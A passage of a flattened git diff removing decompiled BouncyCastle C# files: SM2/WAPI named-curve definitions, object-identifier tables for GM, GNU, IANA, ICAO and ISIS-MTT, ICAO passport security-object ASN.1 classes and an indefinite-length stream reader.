ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("044AD5F7048DE709AD51236DE65E4D4B482C836DC6E410664002BB3A02D4AAADACAE24817A4CA3A1B014B5270432DB27D2")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - private static readonly IDictionary objIds; - - private static readonly IDictionary curves; - - private static readonly IDictionary names; - - public static IEnumerable Names => new EnumerableProxy(names.Values); - - private GMNamedCurves() - { - } - - private static ECCurve ConfigureCurve(ECCurve curve) - { - return curve; - } - - private static BigInteger FromHex(string hex) - { - return new BigInteger(1, Hex.Decode(hex)); - } - - private static void DefineCurve(string name, DerObjectIdentifier oid, X9ECParametersHolder holder) - { - objIds.Add(Platform.ToUpperInvariant(name), oid); - names.Add(oid, name); - curves.Add(oid, holder); - } - - static GMNamedCurves() - { - objIds = Platform.CreateHashtable(); - curves = Platform.CreateHashtable(); - names = Platform.CreateHashtable(); - DefineCurve("wapip192v1", GMObjectIdentifiers.wapip192v1, WapiP192V1Holder.Instance); - DefineCurve("sm2p256v1", GMObjectIdentifiers.sm2p256v1, SM2P256V1Holder.Instance); - } - - public static X9ECParameters GetByName(string name) - { - DerObjectIdentifier oid = GetOid(name); - if (oid != null) - { - return GetByOid(oid); - } - return null; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - return ((X9ECParametersHolder)curves[oid])?.Parameters; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[Platform.ToUpperInvariant(name)]; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)names[oid]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/GM/GMObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/GM/GMObjectIdentifiers.cs deleted file mode 100644 index 41a83f0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/GM/GMObjectIdentifiers.cs +++ /dev/null @@ -1,134 +0,0 @@ -namespace Org.BouncyCastle.Asn1.GM; - -public abstract class GMObjectIdentifiers -{ - public static readonly DerObjectIdentifier sm_scheme = new DerObjectIdentifier("1.2.156.10197.1"); - - public static readonly DerObjectIdentifier sm6_ecb = sm_scheme.Branch("101.1"); - - public static readonly DerObjectIdentifier sm6_cbc = sm_scheme.Branch("101.2"); - - public static readonly DerObjectIdentifier sm6_ofb128 = sm_scheme.Branch("101.3"); - - public static readonly DerObjectIdentifier sm6_cfb128 = sm_scheme.Branch("101.4"); - - public static readonly DerObjectIdentifier sm1_ecb = sm_scheme.Branch("102.1"); - - public static readonly DerObjectIdentifier sm1_cbc = sm_scheme.Branch("102.2"); - - public static readonly DerObjectIdentifier sm1_ofb128 = sm_scheme.Branch("102.3"); - - public static readonly DerObjectIdentifier sm1_cfb128 = sm_scheme.Branch("102.4"); - - public static readonly DerObjectIdentifier sm1_cfb1 = sm_scheme.Branch("102.5"); - - public static readonly DerObjectIdentifier sm1_cfb8 = sm_scheme.Branch("102.6"); - - public static readonly DerObjectIdentifier ssf33_ecb = sm_scheme.Branch("103.1"); - - public static readonly DerObjectIdentifier ssf33_cbc = sm_scheme.Branch("103.2"); - - public static readonly DerObjectIdentifier ssf33_ofb128 = sm_scheme.Branch("103.3"); - - public static readonly DerObjectIdentifier ssf33_cfb128 = sm_scheme.Branch("103.4"); - - public static readonly DerObjectIdentifier ssf33_cfb1 = sm_scheme.Branch("103.5"); - - public static readonly DerObjectIdentifier ssf33_cfb8 = sm_scheme.Branch("103.6"); - - public static readonly DerObjectIdentifier sms4_ecb = sm_scheme.Branch("104.1"); - - public static readonly DerObjectIdentifier sms4_cbc = sm_scheme.Branch("104.2"); - - public static readonly DerObjectIdentifier sms4_ofb128 = sm_scheme.Branch("104.3"); - - public static readonly DerObjectIdentifier sms4_cfb128 = sm_scheme.Branch("104.4"); - - public static readonly DerObjectIdentifier sms4_cfb1 = sm_scheme.Branch("104.5"); - - public static readonly DerObjectIdentifier sms4_cfb8 = sm_scheme.Branch("104.6"); - - public static readonly DerObjectIdentifier sms4_ctr = sm_scheme.Branch("104.7"); - - public static readonly DerObjectIdentifier sms4_gcm = sm_scheme.Branch("104.8"); - - public static readonly DerObjectIdentifier sms4_ccm = sm_scheme.Branch("104.9"); - - public static readonly DerObjectIdentifier sms4_xts = sm_scheme.Branch("104.10"); - - public static readonly DerObjectIdentifier sms4_wrap = sm_scheme.Branch("104.11"); - - public static readonly DerObjectIdentifier sms4_wrap_pad = sm_scheme.Branch("104.12"); - - public static readonly DerObjectIdentifier sms4_ocb = sm_scheme.Branch("104.100"); - - public static readonly DerObjectIdentifier sm5 = sm_scheme.Branch("201"); - - public static readonly DerObjectIdentifier sm2p256v1 = sm_scheme.Branch("301"); - - public static readonly DerObjectIdentifier sm2sign = sm_scheme.Branch("301.1"); - - public static readonly DerObjectIdentifier sm2exchange = sm_scheme.Branch("301.2"); - - public static readonly DerObjectIdentifier sm2encrypt = sm_scheme.Branch("301.3"); - - public static readonly DerObjectIdentifier wapip192v1 = sm_scheme.Branch("301.101"); - - public static readonly DerObjectIdentifier sm2encrypt_recommendedParameters = sm2encrypt.Branch("1"); - - public static readonly DerObjectIdentifier sm2encrypt_specifiedParameters = sm2encrypt.Branch("2"); - - public static readonly DerObjectIdentifier sm2encrypt_with_sm3 = sm2encrypt.Branch("2.1"); - - public static readonly DerObjectIdentifier sm2encrypt_with_sha1 = sm2encrypt.Branch("2.2"); - - public static readonly DerObjectIdentifier sm2encrypt_with_sha224 = sm2encrypt.Branch("2.3"); - - public static readonly DerObjectIdentifier sm2encrypt_with_sha256 = sm2encrypt.Branch("2.4"); - - public static readonly DerObjectIdentifier sm2encrypt_with_sha384 = sm2encrypt.Branch("2.5"); - - public static readonly DerObjectIdentifier sm2encrypt_with_sha512 = sm2encrypt.Branch("2.6"); - - public static readonly DerObjectIdentifier sm2encrypt_with_rmd160 = sm2encrypt.Branch("2.7"); - - public static readonly DerObjectIdentifier sm2encrypt_with_whirlpool = sm2encrypt.Branch("2.8"); - - public static readonly DerObjectIdentifier sm2encrypt_with_blake2b512 = sm2encrypt.Branch("2.9"); - - public static readonly DerObjectIdentifier sm2encrypt_with_blake2s256 = sm2encrypt.Branch("2.10"); - - public static readonly DerObjectIdentifier sm2encrypt_with_md5 = sm2encrypt.Branch("2.11"); - - public static readonly DerObjectIdentifier id_sm9PublicKey = sm_scheme.Branch("302"); - - public static readonly DerObjectIdentifier sm9sign = sm_scheme.Branch("302.1"); - - public static readonly DerObjectIdentifier sm9keyagreement = sm_scheme.Branch("302.2"); - - public static readonly DerObjectIdentifier sm9encrypt = sm_scheme.Branch("302.3"); - - public static readonly DerObjectIdentifier sm3 = sm_scheme.Branch("401"); - - public static readonly DerObjectIdentifier hmac_sm3 = sm3.Branch("2"); - - public static readonly DerObjectIdentifier sm2sign_with_sm3 = sm_scheme.Branch("501"); - - public static readonly DerObjectIdentifier sm2sign_with_sha1 = sm_scheme.Branch("502"); - - public static readonly DerObjectIdentifier sm2sign_with_sha256 = sm_scheme.Branch("503"); - - public static readonly DerObjectIdentifier sm2sign_with_sha512 = sm_scheme.Branch("504"); - - public static readonly DerObjectIdentifier sm2sign_with_sha224 = sm_scheme.Branch("505"); - - public static readonly DerObjectIdentifier sm2sign_with_sha384 = sm_scheme.Branch("506"); - - public static readonly DerObjectIdentifier sm2sign_with_rmd160 = sm_scheme.Branch("507"); - - public static readonly DerObjectIdentifier sm2sign_with_whirlpool = sm_scheme.Branch("520"); - - public static readonly DerObjectIdentifier sm2sign_with_blake2b512 = sm_scheme.Branch("521"); - - public static readonly DerObjectIdentifier sm2sign_with_blake2s256 = sm_scheme.Branch("522"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Gnu/GnuObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Gnu/GnuObjectIdentifiers.cs deleted file mode 100644 index bb531f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Gnu/GnuObjectIdentifiers.cs +++ /dev/null @@ -1,54 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Gnu; - -public abstract class GnuObjectIdentifiers -{ - public static readonly DerObjectIdentifier Gnu = new DerObjectIdentifier("1.3.6.1.4.1.11591.1"); - - public static readonly DerObjectIdentifier GnuPG = new DerObjectIdentifier("1.3.6.1.4.1.11591.2"); - - public static readonly DerObjectIdentifier Notation = new DerObjectIdentifier("1.3.6.1.4.1.11591.2.1"); - - public static readonly DerObjectIdentifier PkaAddress = new DerObjectIdentifier("1.3.6.1.4.1.11591.2.1.1"); - - public static readonly DerObjectIdentifier GnuRadar = new DerObjectIdentifier("1.3.6.1.4.1.11591.3"); - - public static readonly DerObjectIdentifier DigestAlgorithm = new DerObjectIdentifier("1.3.6.1.4.1.11591.12"); - - public static readonly DerObjectIdentifier Tiger192 = new DerObjectIdentifier("1.3.6.1.4.1.11591.12.2"); - - public static readonly DerObjectIdentifier EncryptionAlgorithm = new DerObjectIdentifier("1.3.6.1.4.1.11591.13"); - - public static readonly DerObjectIdentifier Serpent = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2"); - - public static readonly DerObjectIdentifier Serpent128Ecb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.1"); - - public static readonly DerObjectIdentifier Serpent128Cbc = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.2"); - - public static readonly DerObjectIdentifier Serpent128Ofb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.3"); - - public static readonly DerObjectIdentifier Serpent128Cfb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.4"); - - public static readonly DerObjectIdentifier Serpent192Ecb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.21"); - - public static readonly DerObjectIdentifier Serpent192Cbc = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.22"); - - public static readonly DerObjectIdentifier Serpent192Ofb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.23"); - - public static readonly DerObjectIdentifier Serpent192Cfb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.24"); - - public static readonly DerObjectIdentifier Serpent256Ecb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.41"); - - public static readonly DerObjectIdentifier Serpent256Cbc = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.42"); - - public static readonly DerObjectIdentifier Serpent256Ofb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.43"); - - public static readonly DerObjectIdentifier Serpent256Cfb = new DerObjectIdentifier("1.3.6.1.4.1.11591.13.2.44"); - - public static readonly DerObjectIdentifier Crc = new DerObjectIdentifier("1.3.6.1.4.1.11591.14"); - - public static readonly DerObjectIdentifier Crc32 = new DerObjectIdentifier("1.3.6.1.4.1.11591.14.1"); - - public static readonly DerObjectIdentifier EllipticCurve = new DerObjectIdentifier("1.3.6.1.4.1.11591.15"); - - public static readonly DerObjectIdentifier Ed25519 = EllipticCurve.Branch("1"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1ApplicationSpecificParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1ApplicationSpecificParser.cs deleted file mode 100644 index 0dfb5fb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1ApplicationSpecificParser.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public interface IAsn1ApplicationSpecificParser : IAsn1Convertible -{ - IAsn1Convertible ReadObject(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1Choice.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1Choice.cs deleted file mode 100644 index 20e742a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1Choice.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public interface IAsn1Choice -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1Convertible.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1Convertible.cs deleted file mode 100644 index 3d2c05a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1Convertible.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public interface IAsn1Convertible -{ - Asn1Object ToAsn1Object(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1String.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1String.cs deleted file mode 100644 index 935f13a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IAsn1String.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public interface IAsn1String -{ - string GetString(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Iana/IanaObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Iana/IanaObjectIdentifiers.cs deleted file mode 100644 index 6237bcd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Iana/IanaObjectIdentifiers.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Iana; - -public abstract class IanaObjectIdentifiers -{ - public static readonly DerObjectIdentifier IsakmpOakley = new DerObjectIdentifier("1.3.6.1.5.5.8.1"); - - public static readonly DerObjectIdentifier HmacMD5 = new DerObjectIdentifier(string.Concat(IsakmpOakley, ".1")); - - public static readonly DerObjectIdentifier HmacSha1 = new DerObjectIdentifier(string.Concat(IsakmpOakley, ".2")); - - public static readonly DerObjectIdentifier HmacTiger = new DerObjectIdentifier(string.Concat(IsakmpOakley, ".3")); - - public static readonly DerObjectIdentifier HmacRipeMD160 = new DerObjectIdentifier(string.Concat(IsakmpOakley, ".4")); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/CscaMasterList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/CscaMasterList.cs deleted file mode 100644 index dfdf558..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/CscaMasterList.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Icao; - -public class CscaMasterList : Asn1Encodable -{ - private DerInteger version = new DerInteger(0); - - private X509CertificateStructure[] certList; - - public virtual int Version => version.Value.IntValue; - - public static CscaMasterList GetInstance(object obj) - { - if (obj is CscaMasterList) - { - return (CscaMasterList)obj; - } - if (obj != null) - { - return new CscaMasterList(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - private CscaMasterList(Asn1Sequence seq) - { - if (seq == null || seq.Count == 0) - { - throw new ArgumentException("null or empty sequence passed."); - } - if (seq.Count != 2) - { - throw new ArgumentException("Incorrect sequence size: " + seq.Count); - } - version = DerInteger.GetInstance(seq[0]); - Asn1Set instance = Asn1Set.GetInstance(seq[1]); - certList = new X509CertificateStructure[instance.Count]; - for (int i = 0; i < certList.Length; i++) - { - certList[i] = X509CertificateStructure.GetInstance(instance[i]); - } - } - - public CscaMasterList(X509CertificateStructure[] certStructs) - { - certList = CopyCertList(certStructs); - } - - public X509CertificateStructure[] GetCertStructs() - { - return CopyCertList(certList); - } - - private static X509CertificateStructure[] CopyCertList(X509CertificateStructure[] orig) - { - return (X509CertificateStructure[])orig.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(version, new DerSet(certList)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/DataGroupHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/DataGroupHash.cs deleted file mode 100644 index aac0aa9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/DataGroupHash.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Icao; - -public class DataGroupHash : Asn1Encodable -{ - private readonly DerInteger dataGroupNumber; - - private readonly Asn1OctetString dataGroupHashValue; - - public int DataGroupNumber => dataGroupNumber.Value.IntValue; - - public Asn1OctetString DataGroupHashValue => dataGroupHashValue; - - public static DataGroupHash GetInstance(object obj) - { - if (obj is DataGroupHash) - { - return (DataGroupHash)obj; - } - if (obj != null) - { - return new DataGroupHash(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - private DataGroupHash(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - dataGroupNumber = DerInteger.GetInstance(seq[0]); - dataGroupHashValue = Asn1OctetString.GetInstance(seq[1]); - } - - public DataGroupHash(int dataGroupNumber, Asn1OctetString dataGroupHashValue) - { - this.dataGroupNumber = new DerInteger(dataGroupNumber); - this.dataGroupHashValue = dataGroupHashValue; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(dataGroupNumber, dataGroupHashValue); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/IcaoObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/IcaoObjectIdentifiers.cs deleted file mode 100644 index de8cb27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/IcaoObjectIdentifiers.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Icao; - -public abstract class IcaoObjectIdentifiers -{ - public static readonly DerObjectIdentifier IdIcao = new DerObjectIdentifier("2.23.136"); - - public static readonly DerObjectIdentifier IdIcaoMrtd = IdIcao.Branch("1"); - - public static readonly DerObjectIdentifier IdIcaoMrtdSecurity = IdIcaoMrtd.Branch("1"); - - public static readonly DerObjectIdentifier IdIcaoLdsSecurityObject = IdIcaoMrtdSecurity.Branch("1"); - - public static readonly DerObjectIdentifier IdIcaoCscaMasterList = IdIcaoMrtdSecurity.Branch("2"); - - public static readonly DerObjectIdentifier IdIcaoCscaMasterListSigningKey = IdIcaoMrtdSecurity.Branch("3"); - - public static readonly DerObjectIdentifier IdIcaoDocumentTypeList = IdIcaoMrtdSecurity.Branch("4"); - - public static readonly DerObjectIdentifier IdIcaoAAProtocolObject = IdIcaoMrtdSecurity.Branch("5"); - - public static readonly DerObjectIdentifier IdIcaoExtensions = IdIcaoMrtdSecurity.Branch("6"); - - public static readonly DerObjectIdentifier IdIcaoExtensionsNamechangekeyrollover = IdIcaoExtensions.Branch("1"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/LdsSecurityObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/LdsSecurityObject.cs deleted file mode 100644 index 8c556cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/LdsSecurityObject.cs +++ /dev/null @@ -1,105 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.Icao; - -public class LdsSecurityObject : Asn1Encodable -{ - public const int UBDataGroups = 16; - - private DerInteger version = new DerInteger(0); - - private AlgorithmIdentifier digestAlgorithmIdentifier; - - private DataGroupHash[] datagroupHash; - - private LdsVersionInfo versionInfo; - - public BigInteger Version => version.Value; - - public AlgorithmIdentifier DigestAlgorithmIdentifier => digestAlgorithmIdentifier; - - public LdsVersionInfo VersionInfo => versionInfo; - - public static LdsSecurityObject GetInstance(object obj) - { - if (obj is LdsSecurityObject) - { - return (LdsSecurityObject)obj; - } - if (obj != null) - { - return new LdsSecurityObject(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - private LdsSecurityObject(Asn1Sequence seq) - { - if (seq == null || seq.Count == 0) - { - throw new ArgumentException("null or empty sequence passed."); - } - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - version = DerInteger.GetInstance(enumerator.Current); - enumerator.MoveNext(); - digestAlgorithmIdentifier = AlgorithmIdentifier.GetInstance(enumerator.Current); - enumerator.MoveNext(); - Asn1Sequence instance = Asn1Sequence.GetInstance(enumerator.Current); - if (version.Value.Equals(BigInteger.One)) - { - enumerator.MoveNext(); - versionInfo = LdsVersionInfo.GetInstance(enumerator.Current); - } - CheckDatagroupHashSeqSize(instance.Count); - datagroupHash = new DataGroupHash[instance.Count]; - for (int i = 0; i < instance.Count; i++) - { - datagroupHash[i] = DataGroupHash.GetInstance(instance[i]); - } - } - - public LdsSecurityObject(AlgorithmIdentifier digestAlgorithmIdentifier, DataGroupHash[] datagroupHash) - { - version = new DerInteger(0); - this.digestAlgorithmIdentifier = digestAlgorithmIdentifier; - this.datagroupHash = datagroupHash; - CheckDatagroupHashSeqSize(datagroupHash.Length); - } - - public LdsSecurityObject(AlgorithmIdentifier digestAlgorithmIdentifier, DataGroupHash[] datagroupHash, LdsVersionInfo versionInfo) - { - version = new DerInteger(1); - this.digestAlgorithmIdentifier = digestAlgorithmIdentifier; - this.datagroupHash = datagroupHash; - this.versionInfo = versionInfo; - CheckDatagroupHashSeqSize(datagroupHash.Length); - } - - private void CheckDatagroupHashSeqSize(int size) - { - if (size < 2 || size > 16) - { - throw new ArgumentException("wrong size in DataGroupHashValues : not in (2.." + 16 + ")"); - } - } - - public DataGroupHash[] GetDatagroupHash() - { - return datagroupHash; - } - - public override Asn1Object ToAsn1Object() - { - DerSequence derSequence = new DerSequence(datagroupHash); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, digestAlgorithmIdentifier, derSequence); - if (versionInfo != null) - { - asn1EncodableVector.Add(versionInfo); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/LdsVersionInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/LdsVersionInfo.cs deleted file mode 100644 index 85ed87e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Icao/LdsVersionInfo.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Icao; - -public class LdsVersionInfo : Asn1Encodable -{ - private DerPrintableString ldsVersion; - - private DerPrintableString unicodeVersion; - - public LdsVersionInfo(string ldsVersion, string unicodeVersion) - { - this.ldsVersion = new DerPrintableString(ldsVersion); - this.unicodeVersion = new DerPrintableString(unicodeVersion); - } - - private LdsVersionInfo(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("sequence wrong size for LDSVersionInfo", "seq"); - } - ldsVersion = DerPrintableString.GetInstance(seq[0]); - unicodeVersion = DerPrintableString.GetInstance(seq[1]); - } - - public static LdsVersionInfo GetInstance(object obj) - { - if (obj is LdsVersionInfo) - { - return (LdsVersionInfo)obj; - } - if (obj != null) - { - return new LdsVersionInfo(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public virtual string GetLdsVersion() - { - return ldsVersion.GetString(); - } - - public virtual string GetUnicodeVersion() - { - return unicodeVersion.GetString(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(ldsVersion, unicodeVersion); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IndefiniteLengthInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IndefiniteLengthInputStream.cs deleted file mode 100644 index 636750f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IndefiniteLengthInputStream.cs +++ /dev/null @@ -1,82 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -internal class IndefiniteLengthInputStream : LimitedInputStream -{ - private int _lookAhead; - - private bool _eofOn00 = true; - - internal IndefiniteLengthInputStream(Stream inStream, int limit) - : base(inStream, limit) - { - _lookAhead = RequireByte(); - CheckForEof(); - } - - internal void SetEofOn00(bool eofOn00) - { - _eofOn00 = eofOn00; - if (_eofOn00) - { - CheckForEof(); - } - } - - private bool CheckForEof() - { - if (_lookAhead == 0) - { - if (RequireByte() != 0) - { - throw new IOException("malformed end-of-contents marker"); - } - _lookAhead = -1; - SetParentEofDetect(on: true); - return true; - } - return _lookAhead < 0; - } - - public override int Read(byte[] buffer, int offset, int count) - { - if (_eofOn00 || count <= 1) - { - return base.Read(buffer, offset, count); - } - if (_lookAhead < 0) - { - return 0; - } - int num = _in.Read(buffer, offset + 1, count - 1); - if (num <= 0) - { - throw new EndOfStreamException(); - } - buffer[offset] = (byte)_lookAhead; - _lookAhead = RequireByte(); - return num + 1; - } - - public override int ReadByte() - { - if (_eofOn00 && CheckForEof()) - { - return -1; - } - int lookAhead = _lookAhead; - _lookAhead = RequireByte(); - return lookAhead; - } - - private int RequireByte() - { - int num = _in.ReadByte(); - if (num < 0) - { - throw new EndOfStreamException(); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/IsisMttObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/IsisMttObjectIdentifiers.cs deleted file mode 100644 index 5228145..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/IsisMttObjectIdentifiers.cs +++ /dev/null @@ -1,44 +0,0 @@ -namespace Org.BouncyCastle.Asn1.IsisMtt; - -public abstract class IsisMttObjectIdentifiers -{ - public static readonly DerObjectIdentifier IdIsisMtt = new DerObjectIdentifier("1.3.36.8"); - - public static readonly DerObjectIdentifier IdIsisMttCP = new DerObjectIdentifier(string.Concat(IdIsisMtt, ".1")); - - public static readonly DerObjectIdentifier IdIsisMttCPAccredited = new DerObjectIdentifier(string.Concat(IdIsisMttCP, ".1")); - - public static readonly DerObjectIdentifier IdIsisMttAT = new DerObjectIdentifier(string.Concat(IdIsisMtt, ".3")); - - public static readonly DerObjectIdentifier IdIsisMttATDateOfCertGen = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".1")); - - public static readonly DerObjectIdentifier IdIsisMttATProcuration = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".2")); - - public static readonly DerObjectIdentifier IdIsisMttATAdmission = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".3")); - - public static readonly DerObjectIdentifier IdIsisMttATMonetaryLimit = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".4")); - - public static readonly DerObjectIdentifier IdIsisMttATDeclarationOfMajority = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".5")); - - public static readonly DerObjectIdentifier IdIsisMttATIccsn = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".6")); - - public static readonly DerObjectIdentifier IdIsisMttATPKReference = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".7")); - - public static readonly DerObjectIdentifier IdIsisMttATRestriction = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".8")); - - public static readonly DerObjectIdentifier IdIsisMttATRetrieveIfAllowed = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".9")); - - public static readonly DerObjectIdentifier IdIsisMttATRequestedCertificate = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".10")); - - public static readonly DerObjectIdentifier IdIsisMttATNamingAuthorities = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".11")); - - public static readonly DerObjectIdentifier IdIsisMttATCertInDirSince = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".12")); - - public static readonly DerObjectIdentifier IdIsisMttATCertHash = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".13")); - - public static readonly DerObjectIdentifier IdIsisMttATNameAtBirth = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".14")); - - public static readonly DerObjectIdentifier IdIsisMttATAdditionalInformation = new DerObjectIdentifier(string.Concat(IdIsisMttAT, ".15")); - - public static readonly DerObjectIdentifier IdIsisMttATLiabilityLimitationFlag = new DerObjectIdentifier("0.2.262.1.10.12.0"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/Ocsp/CertHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/Ocsp/CertHash.cs deleted file mode 100644 index 3f795b0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/Ocsp/CertHash.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.Ocsp; - -public class CertHash : Asn1Encodable -{ - private readonly AlgorithmIdentifier hashAlgorithm; - - private readonly byte[] certificateHash; - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public byte[] CertificateHash => (byte[])certificateHash.Clone(); - - public static CertHash GetInstance(object obj) - { - if (obj == null || obj is CertHash) - { - return (CertHash)obj; - } - if (obj is Asn1Sequence) - { - return new CertHash((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CertHash(Asn1Sequence seq) - { - if (seq.Count != 2) - { - 